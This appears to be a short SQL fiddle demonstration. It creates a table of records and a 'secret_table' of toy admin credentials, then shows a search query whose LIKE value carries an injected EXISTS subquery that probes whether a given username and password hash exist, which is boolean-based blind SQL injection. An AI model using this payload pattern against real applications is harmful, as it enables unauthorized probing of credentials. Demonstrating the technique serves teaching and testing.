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CREATE TABLE records(record) AS SELECT 1 FROM DUAL;
1 rows affected
 hidden batch(es)


CREATE TABLE secret_table(username,password_hash) AS SELECT 'Admin', '0123456789ABCDEF' FROM DUAL;
1 rows affected
 hidden batch(es)


select * from records where record like '%'AND(EXISTS(SELECT(1)FROM"SECRET_TABLE"WHERE((username='Admin')AND(password_hash='0123456789ABCDEF'))))AND"RECORD"LIKE'%'
RECORD
1
 hidden batch(es)